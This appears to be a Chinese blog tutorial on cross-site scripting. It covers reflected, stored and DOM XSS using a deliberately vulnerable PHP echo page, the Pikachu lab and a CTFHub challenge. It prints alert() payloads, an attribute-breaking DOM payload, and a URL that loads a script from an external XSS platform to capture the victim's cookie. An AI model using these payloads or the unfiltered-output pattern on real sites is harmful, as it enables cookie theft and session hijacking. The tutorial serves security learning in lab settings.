XSS

XSS

简介

跨站脚本漏洞(XSS)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

xss 分类:(三类)

  • 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
  • 存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
  • DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

反射型XSS

在黑盒测试中,这种类型比较容易通过漏洞扫描器直接发现,我们只需要按照扫描结果进行相应的验证就可以了。

相对的在白盒审计中, 我们首先要寻找带参数的输出函数,接下来通过输出内容回溯到输入参数,观察是否过滤即可。
无案例不足以求真,这里我们选用echo()函数作为实例来分析:

新建 XssReflex.php,代码如下:

<html>
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS</title> 
</head> 
<body> 
<form action="" method="get"> 
<input type="text" name="input">     
<input type="submit"> 
</form> 
<br> 
<?php 
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?> 
</body> 
</html> 

这是一个很简单、也很常见的页面:
变量 $XssReflex 获取 get 方式传递的变量名为 input 的变量值(值为一个字符串),然后直接通过echo()函数输出,注意这中间并未对用户输入进行任何过滤。

打开Firefox输入url:localhost/codeaudit/xss/XssReflex.php :

img

当我们输入 1 ,页面返回 1 :

img

当我们输入hello时,页面返回 hello :

img

以上都为正常的输出,但如果我们输出一些javascript代码呢?

比如我们输入<script>alert('xss')</script>

img

可以看到浏览器成功弹窗,说明我们输出的JavaScript代码成功被执行了。
我们查看网页html代码:

img

第12行增加了:

<script>alert('xss')</script>

这个弹窗并没有什么实际的意义,但通过它我们知道输入javascript代码是可以被执行的,当我们输入一些其他函数,比如document.cookie就可以成功盗取用户的cookie信息,或者读取用户浏览器信息等,为我们进一步深入攻击做铺垫。

例题 [ctfhub xss 反射型]

打开环境

http://challenge-c7b5ce22b0182c95.sandbox.ctfhub.com:10080/?name=<sCRiPt sRC=//xsshs.cn/P9Xk></sCrIpT>

在XSS平台查看记录,找到cookie下的flag

存储型XSS

我刚才已经介绍了反射型XSS漏洞,存储型XSS漏洞与它不同的就是它可以把我们注入到后台的脚本存储起来,造成更持久的危害,

我们可以打开pikachu平台存储型XSS漏洞模块,首先输入一些特殊字符你可以在页面源码中看到它被输出到了后端

然后我们在前端输入一个js弹窗语句

<script>alert('996')</script>

提交后出现弹窗,之后每次刷新界面时都会出现弹窗,查看页面源码,我们发现输入的脚本被储存进了数据库中,这就是存储型XSS漏洞

DOM型XSS

DOM我们可以把它理解为一个访问html的标准编程接口

打开pikachu平台DOM界面随便输入一些信息

随便输入些字符,返回了what do you see?然后我们查看一下页面源码。

        <div class="page-content">

            <div id="xssd_main">
                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试:'><img src="#" onmouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <input id="text" name="text" type="text"  value="" />
                <input id="button" type="button" value="click me!" onclick="domxss()" />
                <div id="dom"></div>
            </div>


        </div><!-- /.page-content -->

通过js代码可知道,他将我们输入的值拼接到了一个a标签里并将拼接的结果再放入id=dom的盒子里

所以我们可以通过闭合的方式利用这个漏洞 在输入框中输入

' onclick="alert('xss')"

形成代码

<a href='' onclick="alert('xss')"'>what do you see?</a>"

输入内容后点击“what do you see”就看到我们输入的js弹框,原理就是我们前端输入的信息被DOM获取进行了相关操作,并从前端输出

参考链接

1.https://www.jianshu.com/p/4fcb4b411a66

2.https://www.cnblogs.com/swl0221/p/12617744.html

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值